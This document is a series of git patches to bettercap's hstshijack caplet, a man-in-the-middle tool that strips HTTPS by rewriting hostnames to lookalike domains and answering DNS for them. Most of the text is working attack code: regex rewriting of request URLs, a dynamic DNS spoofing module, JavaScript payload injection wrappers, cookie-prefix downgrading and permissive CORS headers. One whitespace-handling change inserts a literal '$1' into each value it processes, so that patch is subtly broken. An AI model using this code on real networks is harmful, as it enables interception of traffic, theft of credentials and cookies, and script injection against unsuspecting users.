Bettercap will also send a HEAD request to unknown hosts that were discovered in the injected document and retrieved via a callback from the
**hijack.js** payload. This is done to learn what hosts use HTTPS, ahead of time.
From 8b76a6ace11145abcc1f5990219f4b2aa65a5b82 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:48:36 +0200
Subject: [PATCH 07/32] Rename hstshijack.js to http.proxy.js
---
hstshijack/modules/{hstshijack.js => http.proxy.js} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/modules/{hstshijack.js => http.proxy.js} (100%)
diff --git a/hstshijack/modules/hstshijack.js b/hstshijack/modules/http.proxy.js
similarity index 100%
rename from hstshijack/modules/hstshijack.js
rename to hstshijack/modules/http.proxy.js
From 8c0be60cb7fbf7f030ce0a1fb1e7c78a8a682e1e Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:49:09 +0200
Subject: [PATCH 08/32] Update hstshijack.cap
---
hstshijack/hstshijack.cap | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hstshijack/hstshijack.cap b/hstshijack/hstshijack.cap
index ee724e4..dd427de 100644
--- a/hstshijack/hstshijack.cap
+++ b/hstshijack/hstshijack.cap
@@ -26,7 +26,7 @@ set hstshijack.ignore captive.apple.com,connectivitycheck.gs
net.recon on
-set http.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/hstshijack.js
+set http.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/http.proxy.js
http.proxy on
set dns.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/dns.proxy.js
From c61368e556bf508aacc2780e56cca274e2c89c98 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Wed, 23 Apr 2025 19:49:22 +0200
Subject: [PATCH 09/32] Update README.md
---
hstshijack/README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/hstshijack/README.md b/hstshijack/README.md
index cefb9d2..474682b 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -30,7 +30,7 @@ set hstshijack.ignore captive.apple.com,connectivitycheck.gs
net.recon on
-set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/hstshijack.js
+set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/http.proxy.js
http.proxy on
set dns.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/dns.proxy.js
From d7e4cad075482840e0904fc90a71142a8e106ddc Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Tue, 6 May 2025 10:57:53 +0200
Subject: [PATCH 10/32] Implement req URL regex replacements, fix bug where
spaces were stripped from paths.
---
hstshijack/modules/http.proxy.js | 128 ++++++++++++++++++++++++++-----
1 file changed, 109 insertions(+), 19 deletions(-)
diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js
index e4d5a84..4babbf7 100644
--- a/hstshijack/modules/http.proxy.js
+++ b/hstshijack/modules/http.proxy.js
@@ -35,10 +35,16 @@ var payloads = {},
var replacements_req_body,
replacements_req_headers,
+ replacements_req_url_path,
+ replacements_req_url_port,
+ replacements_req_url_query,
replacements_res_body,
replacements_res_headers,
rx_target_hosts_replacements_req_body = [],
rx_target_hosts_replacements_req_headers = [],
+ rx_target_hosts_replacements_req_url_path = [],
+ rx_target_hosts_replacements_req_url_port = [],
+ rx_target_hosts_replacements_req_url_query = [],
rx_target_hosts_replacements_res_body_html = [],
rx_target_hosts_replacements_res_body_javascript = [],
rx_target_hosts_replacements_res_body_json = [],
@@ -457,22 +463,22 @@ function indexDomain(domain) {
function configure() {
/* Read caplet. */
env["hstshijack.ignore"]
- ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "").split(",")
+ ? ignore_hosts = env["hstshijack.ignore"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
: ignore_hosts = [];
env["hstshijack.targets"]
- ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",")
+ ? target_hosts = env["hstshijack.targets"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
: target_hosts = [];
env["hstshijack.replacements"]
- ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "").split(",")
+ ? replacement_hosts = env["hstshijack.replacements"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
: replacement_hosts = [];
env["hstshijack.blockscripts"]
- ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",")
+ ? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
: block_script_hosts = [];
env["hstshijack.obfuscate"]
- ? obfuscate = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase() === "true" ? true : false
+ ? obfuscate = env["hstshijack.obfuscate"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
: obfuscate = false;
env["hstshijack.cookies.downgrade"]
- ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/\s/g, "").toLowerCase() === "true" ? true : false
+ ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
: downgrade_cookies = false;
/* Validate caplet. */
@@ -548,7 +554,7 @@ function configure() {
/* Prepare response body regex replacements. */
env["hstshijack.replacements.res.body"]
- ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/\s/g, "")
+ ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/^\s*(.*?)\s*$/g, "$1")
: replacements_res_body_path = "";
try {
replacements_res_body = JSON.parse(readFile(replacements_res_body_path));
@@ -615,10 +621,10 @@ function configure() {
/* Prepare request headers regex replacements. */
env["hstshijack.replacements.req.headers"]
- ? replacements_req_headers_path = env["hstshijack.replacements.req.headers"].replace(/\s/g, "")
- : replacements_req_headers_path = "";
+ ? replacements_req_headers_filepath = env["hstshijack.replacements.req.headers"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_headers_filepath = "";
try {
- replacements_req_headers = JSON.parse(readFile(replacements_req_headers_path));
+ replacements_req_headers = JSON.parse(readFile(replacements_req_headers_filepath));
} catch (err) {
log_fatal(err);
}
@@ -642,10 +648,10 @@ function configure() {
/* Prepare request body regex replacements. */
env["hstshijack.replacements.req.body"]
- ? replacements_req_body_path = env["hstshijack.replacements.req.body"].replace(/\s/g, "")
- : replacements_req_body_path = "";
+ ? replacements_req_body_filepath = env["hstshijack.replacements.req.body"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_body_filepath = "";
try {
- replacements_req_body = JSON.parse(readFile(replacements_req_body_path));
+ replacements_req_body = JSON.parse(readFile(replacements_req_body_filepath));
} catch (err) {
log_fatal(err);
}
@@ -667,9 +673,72 @@ function configure() {
}
}
+ /* Prepare request url regex replacements. */
+ env["hstshijack.replacements.req.url"]
+ ? replacements_req_url_filepath = env["hstshijack.replacements.req.url"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_url_filepath = "";
+ try {
+ replacements_req_url_path = JSON.parse(readFile(replacements_req_url_filepath)).path;
+ replacements_req_url_port = JSON.parse(readFile(replacements_req_url_filepath)).port;
+ replacements_req_url_query = JSON.parse(readFile(replacements_req_url_filepath)).query;
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_url_path = Object.keys(replacements_req_url_path);
+ var host_selector_strings_req_url_port = Object.keys(replacements_req_url_port);
+ var host_selector_strings_req_url_query = Object.keys(replacements_req_url_query);
+ for (a = 0; a < host_selector_strings_req_url_path.length; a++) {
+ var selector_string = host_selector_strings_req_url_path[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_path.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_path.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_path[selector_string].length; b++) {
+ var rx_set = replacements_req_url_path[selector_string][b];
+ replacements_req_url_path[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_port.length; a++) {
+ var selector_string = host_selector_strings_req_url_port[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_port.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_port.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_port[selector_string].length; b++) {
+ var rx_set = replacements_req_url_port[selector_string][b];
+ replacements_req_url_port[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_query.length; a++) {
+ var selector_string = host_selector_strings_req_url_query[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_query.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_query.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_query[selector_string].length; b++) {
+ var rx_set = replacements_req_url_query[selector_string][b];
+ replacements_req_url_query[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
/* Prepare payloads. */
env["hstshijack.payloads"]
- ? payload_entries = env["hstshijack.payloads"].replace(/\s/g, "").split(",")
+ ? payload_entries = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
: payload_entries = [];
for (a = 0; a < payload_entries.length; a++) {
if (
@@ -788,7 +857,7 @@ function showConfig() {
logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
logStr += " " + yellow + " hstshijack.payloads" + reset + " > ";
if (env["hstshijack.payloads"]) {
- list = env["hstshijack.payloads"].replace(/\s/g, "").split(",");
+ list = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",");
logStr += green + list[0] + reset + "\n";
if (list.length > 1) {
for (a = 1; a < list.length; a++) {
@@ -1118,6 +1187,7 @@ function onRequest(req, res) {
}
} else { /* If requested domain is not indexed. */
+ // TODO
// we can perform an SSL check synchronously with a set timeout, and/or we can
// perform an SSL check asynchronously for future hijacking attempts
@@ -1164,13 +1234,36 @@ function onRequest(req, res) {
});
/* Execute regex URL replacements. */
+ Object.keys(replacements_req_url_path).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_path[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_path[a].test(req.Hostname)) {
+ replacements_req_url_path[selector_string].forEach(function(rx_set) {
+ req.Path = req.Path.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_port).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_port[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_port[a].test(req.Hostname)) {
+ replacements_req_url_port[selector_string].forEach(function(rx_set) {
+ req.Port = req.Port.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_query).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_query[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_query[a].test(req.Hostname)) {
+ replacements_req_url_query[selector_string].forEach(function(rx_set) {
+ req.Query = req.Query.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
/* Restore cookies. */
req.Headers = req.Headers
.replace(rx_global_cookie_host_prefix, "__Host-")
.replace(rx_global_cookie_secure_prefix, "__Secure-");
}
-//if (req.Path.indexOf("error") !== -1) console.log(JSON.stringify(req, null, 4));
}
function onResponse(req, res) {
@@ -1455,9 +1548,6 @@ function onResponse(req, res) {
}
}
}
-// res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
-// res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
-// res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
res.SetHeader("Access-Control-Allow-Credentials", "true");
res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
res.SetHeader("Access-Control-Allow-Methods", "*");
From 9e856ae13baa4fd898887c9aa3d34d1185d84f91 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 18:19:35 +0200
Subject: [PATCH 11/32] Make DNS proxying dynamic.
---
hstshijack/modules/dns.proxy.js | 32 +++++++++++++++++++++-----------
1 file changed, 21 insertions(+), 11 deletions(-)
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
index 59d7d2f..160a361 100644
--- a/hstshijack/modules/dns.proxy.js
+++ b/hstshijack/modules/dns.proxy.js
@@ -1,5 +1,7 @@
var addr = env("iface.ipv4");
+var target_hosts = [];
+
var Rrtype = {
None: 0,
A: 1,
@@ -7,21 +9,30 @@ var Rrtype = {
// AAAA: 28,
};
-var rxTargetedTlds = /\.(?:corn|clarity\.ns|googl|nel|ni|rne|al|cc\.uk|ch)[.]?$/ig;
+String.prototype.endsWith = function(suffix) {
+ return this.slice(-1 * suffix.length) === suffix;
+};
String.prototype.isTargeted = function() {
- rxTargetedTlds.lastIndex = 0;
- return rxTargetedTlds.test(this);
+ for (a = 0; a < target_hosts.length; a++) {
+ var target_host = target_hosts[a];
+ if (target_host[0] === "*") {
+ if (this.endsWith(target_host.slice(1)) + ".") return true;
+ if (this.endsWith(target_host.slice(1))) return true;
+ } else {
+ if (this === target_host + ".") return true;
+ if (this === target_host) return true;
+ }
+ }
+ return false;
};
-// We immediately reply to prevent DNS tunneling
function onRequest(req, res) {
- res.Header.Response = true;
- res.Header.RecursionAvailable = true;
-
req.Questions.forEach(function(question) {
if (question.Qtype === Rrtype.A) {
if (question.Name.isTargeted()) {
+ res.Header.Response = true;
+ res.Header.RecursionAvailable = true;
res.Answers = res.Answers.concat({
A: addr,
Header: {
@@ -36,7 +47,7 @@ function onRequest(req, res) {
// Respond with AAAA records if necessary
});
- if (res.Answers.length === 0) {
+ if (res.Header.Response === true && res.Answers.length === 0) {
res.Header.Rrtype = Rrtype.None;
// Silence DNS errors by clearing all records
@@ -45,7 +56,6 @@ function onRequest(req, res) {
}
}
-function onResponse(req, res) {
- console.log(JSON.stringify(res, "\t", 1));
+function onLoad() {
+ target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",");
}
-
From 68f7eeaee344b17cb72245aeedd44c0e5d3e08e8 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 18:23:07 +0200
Subject: [PATCH 12/32] Fix whitespace removal.
---
hstshijack/modules/http.proxy.js | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js
index 4babbf7..73d46b4 100644
--- a/hstshijack/modules/http.proxy.js
+++ b/hstshijack/modules/http.proxy.js
@@ -463,13 +463,13 @@ function indexDomain(domain) {
function configure() {
/* Read caplet. */
env["hstshijack.ignore"]
- ? ignore_hosts = env["hstshijack.ignore"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "$1").split(",")
: ignore_hosts = [];
env["hstshijack.targets"]
- ? target_hosts = env["hstshijack.targets"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "$1").split(",")
: target_hosts = [];
env["hstshijack.replacements"]
- ? replacement_hosts = env["hstshijack.replacements"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "$1").split(",")
: replacement_hosts = [];
env["hstshijack.blockscripts"]
? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
@@ -1565,4 +1565,3 @@ function onResponse(req, res) {
res.SetHeader("Pragma", "no-cache");
}
}
-
From f0f36d9234f57f800e31bc96590190240b8442c8 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:15:12 +0200
Subject: [PATCH 13/32] Rename req.body.json to req.Body.json
---
hstshijack/replacements/{req.body.json => req.Body.json} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/replacements/{req.body.json => req.Body.json} (100%)
diff --git a/hstshijack/replacements/req.body.json b/hstshijack/replacements/req.Body.json
similarity index 100%
rename from hstshijack/replacements/req.body.json
rename to hstshijack/replacements/req.Body.json
From 4e0f9d528f660feca6ecbbf9d4dcab7c3afe9389 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:15:23 +0200
Subject: [PATCH 14/32] Rename req.headers.json to req.Headers.json
---
hstshijack/replacements/{req.headers.json => req.Headers.json} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/replacements/{req.headers.json => req.Headers.json} (100%)
diff --git a/hstshijack/replacements/req.headers.json b/hstshijack/replacements/req.Headers.json
similarity index 100%
rename from hstshijack/replacements/req.headers.json
rename to hstshijack/replacements/req.Headers.json
From 72509974cbca791c938a9724b72bfb29236b1d0f Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:15:37 +0200
Subject: [PATCH 15/32] Rename req.url.json to req.URL.json
---
hstshijack/replacements/{req.url.json => req.URL.json} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/replacements/{req.url.json => req.URL.json} (100%)
diff --git a/hstshijack/replacements/req.url.json b/hstshijack/replacements/req.URL.json
similarity index 100%
rename from hstshijack/replacements/req.url.json
rename to hstshijack/replacements/req.URL.json
From ba2019b14e6b77fc3d6a16fda0a2c36668a3c984 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:15:50 +0200
Subject: [PATCH 16/32] Rename res.body.json to res.Body.json
---
hstshijack/replacements/{res.body.json => res.Body.json} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/replacements/{res.body.json => res.Body.json} (100%)
diff --git a/hstshijack/replacements/res.body.json b/hstshijack/replacements/res.Body.json
similarity index 100%
rename from hstshijack/replacements/res.body.json
rename to hstshijack/replacements/res.Body.json
From 75883927236eda663ad8a7b39db8997170a61a66 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:16:02 +0200
Subject: [PATCH 17/32] Rename res.headers.json to res.Headers.json
---
hstshijack/replacements/{res.headers.json => res.Headers.json} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename hstshijack/replacements/{res.headers.json => res.Headers.json} (100%)
diff --git a/hstshijack/replacements/res.headers.json b/hstshijack/replacements/res.Headers.json
similarity index 100%
rename from hstshijack/replacements/res.headers.json
rename to hstshijack/replacements/res.Headers.json
From f126226d0d871f3a6c2bd23500ad45e455f185b5 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Thu, 8 May 2025 21:17:45 +0200
Subject: [PATCH 18/32] wu wei
---
hstshijack/hstshijack.cap | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/hstshijack/hstshijack.cap b/hstshijack/hstshijack.cap
index dd427de..9d39934 100644
--- a/hstshijack/hstshijack.cap
+++ b/hstshijack/hstshijack.cap
@@ -8,10 +8,11 @@ set $ ""
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
set hstshijack.targets *.com, *.net,*.me, *.nl,clarity.ms,*.clarity.ms,*.ai,*.co.uk,*.cn,*.google
set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,clarity.ns,*.clarity.ns,*.al,*.cc.uk,*.ch,*.googl
-set hstshijack.replacements.req.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.body.json
-set hstshijack.replacements.req.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.headers.json
-set hstshijack.replacements.res.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.body.json
-set hstshijack.replacements.res.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.headers.json
+set hstshijack.replacements.req.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Body.json
+set hstshijack.replacements.req.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Headers.json
+set hstshijack.replacements.req.url /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.URL.json
+set hstshijack.replacements.res.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Body.json
+set hstshijack.replacements.res.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Headers.json
set hstshijack.ssl.domains /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/domains.txt
set hstshijack.ssl.index /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/index.json
set hstshijack.ssl.index.check true
From 174373d4a68741a34d3a950522684c4cc60264c7 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 02:07:07 +0200
Subject: [PATCH 19/32] Fix env var.
---
hstshijack/modules/dns.proxy.js | 20 +++++++++++---------
1 file changed, 11 insertions(+), 9 deletions(-)
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
index 160a361..00c4877 100644
--- a/hstshijack/modules/dns.proxy.js
+++ b/hstshijack/modules/dns.proxy.js
@@ -1,6 +1,6 @@
var addr = env("iface.ipv4");
-var target_hosts = [];
+var hostnames = [];
var Rrtype = {
None: 0,
@@ -14,14 +14,15 @@ String.prototype.endsWith = function(suffix) {
};
String.prototype.isTargeted = function() {
- for (a = 0; a < target_hosts.length; a++) {
- var target_host = target_hosts[a];
- if (target_host[0] === "*") {
- if (this.endsWith(target_host.slice(1)) + ".") return true;
- if (this.endsWith(target_host.slice(1))) return true;
+ var target = this.toLowerCase();
+ for (a = 0; a < hostnames.length; a++) {
+ var hostname = hostnames[a];
+ if (hostname[0] === "*") {
+ if (target.endsWith(hostname.slice(1) + ".")) return true;
+ if (target.endsWith(hostname.slice(1))) return true;
} else {
- if (this === target_host + ".") return true;
- if (this === target_host) return true;
+ if (target === hostname + ".") return true;
+ if (target === hostname) return true;
}
}
return false;
@@ -57,5 +58,6 @@ function onRequest(req, res) {
}
function onLoad() {
- target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",");
+ hostnames = env["hstshijack.replacements"].replace(/\s/g, "").toLowerCase().split(",");
}
+
From 0ceee9701f88a347031a8ef9c0c8d6ec955d8e51 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 02:17:47 +0200
Subject: [PATCH 20/32] Reduce overhead.
---
hstshijack/modules/dns.proxy.js | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
index 00c4877..4ca91f1 100644
--- a/hstshijack/modules/dns.proxy.js
+++ b/hstshijack/modules/dns.proxy.js
@@ -18,8 +18,9 @@ String.prototype.isTargeted = function() {
for (a = 0; a < hostnames.length; a++) {
var hostname = hostnames[a];
if (hostname[0] === "*") {
- if (target.endsWith(hostname.slice(1) + ".")) return true;
- if (target.endsWith(hostname.slice(1))) return true;
+ var suffix = hostname.slice(1);
+ if (target.endsWith(suffix + ".")) return true;
+ if (target.endsWith(suffix)) return true;
} else {
if (target === hostname + ".") return true;
if (target === hostname) return true;
From 9a3d92c63acd2781ab6bf14dc0ee3e6e1c553ed6 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 06:59:46 +0200
Subject: [PATCH 21/32] Change indentation to tabs.
---
hstshijack/modules/http.proxy.js | 2897 +++++++++++++++---------------
1 file changed, 1449 insertions(+), 1448 deletions(-)
diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js
index 73d46b4..78c10bd 100644
--- a/hstshijack/modules/http.proxy.js
+++ b/hstshijack/modules/http.proxy.js
@@ -3,142 +3,142 @@
*/
var ssl = {
- /* Prefix string mapped array of indexed domains. */
- index: {},
- /* Unicode hierarchy for domain names. */
- hierarchy: "-.0123456789abcdefghijklmnopqrstuvwxyz",
- /* Prefix hierarchy for domain names. */
- prefixes: ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],
+ /* Prefix string mapped array of indexed domains. */
+ index: {},
+ /* Unicode hierarchy for domain names. */
+ hierarchy: "-.0123456789abcdefghijklmnopqrstuvwxyz",
+ /* Prefix hierarchy for domain names. */
+ prefixes: ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],
};
var payload,
- payload_container_prefix =
- "if (!globalThis.{{SESSION_ID_TAG}}) {\n" +
- "globalThis.{{SESSION_ID_TAG}} = function() {\n",
- payload_container_suffix =
- "\n}\n" +
- "globalThis.{{SESSION_ID_TAG}}();\n" +
- "}\n";
-
-var ignore_hosts = [],
- target_hosts = [],
- replacement_hosts = [],
- block_script_hosts = [],
- rx_sets_global_target_hosts = [], // host.com->nothost.com
- rx_sets_global_replacement_hosts = [], // nothost.com->host.com
- rx_sets_global_target_http_origins = [], // http://host.com->https://host.com
- rx_sets_whole_target_hosts = [], // ^host.com$->^nothost.com$
- rx_sets_whole_replacement_hosts = []; // ^nothost.com$->^host.com$
+ payload_container_prefix =
+ "if (!globalThis.{{SESSION_ID_TAG}}) {\n" +
+ "globalThis.{{SESSION_ID_TAG}} = function() {\n",
+ payload_container_suffix =
+ "\n}\n" +
+ "globalThis.{{SESSION_ID_TAG}}();\n" +
+ "}\n";
+
+var ignore_hosts = [],
+ target_hosts = [],
+ replacement_hosts = [],
+ block_script_hosts = [],
+ rx_sets_global_target_hosts = [], // host.com->nothost.com
+ rx_sets_global_replacement_hosts = [], // nothost.com->host.com
+ rx_sets_global_target_http_origins = [], // http://host.com->https://host.com
+ rx_sets_whole_target_hosts = [], // ^host.com$->^nothost.com$
+ rx_sets_whole_replacement_hosts = []; // ^nothost.com$->^host.com$
var payloads = {},
- obfuscate;
+ obfuscate;
var replacements_req_body,
- replacements_req_headers,
- replacements_req_url_path,
- replacements_req_url_port,
- replacements_req_url_query,
- replacements_res_body,
- replacements_res_headers,
- rx_target_hosts_replacements_req_body = [],
- rx_target_hosts_replacements_req_headers = [],
- rx_target_hosts_replacements_req_url_path = [],
- rx_target_hosts_replacements_req_url_port = [],
- rx_target_hosts_replacements_req_url_query = [],
- rx_target_hosts_replacements_res_body_html = [],
- rx_target_hosts_replacements_res_body_javascript = [],
- rx_target_hosts_replacements_res_body_json = [],
- rx_target_hosts_replacements_res_headers = [];
+ replacements_req_headers,
+ replacements_req_url_path,
+ replacements_req_url_port,
+ replacements_req_url_query,
+ replacements_res_body,
+ replacements_res_headers,
+ rx_target_hosts_replacements_req_body = [],
+ rx_target_hosts_replacements_req_headers = [],
+ rx_target_hosts_replacements_req_url_path = [],
+ rx_target_hosts_replacements_req_url_port = [],
+ rx_target_hosts_replacements_req_url_query = [],
+ rx_target_hosts_replacements_res_body_html = [],
+ rx_target_hosts_replacements_res_body_javascript = [],
+ rx_target_hosts_replacements_res_body_json = [],
+ rx_target_hosts_replacements_res_headers = [];
var callback_path,
- whitelist_path,
- ssl_index_path,
- session_id,
- varname_target_hosts,
- varname_replacement_hosts;
+ whitelist_path,
+ ssl_index_path,
+ session_id,
+ varname_target_hosts,
+ varname_replacement_hosts;
var cookie_host_prefix,
- cookie_secure_prefix,
- rx_global_cookie_host_prefix,
- rx_global_cookie_secure_prefix,
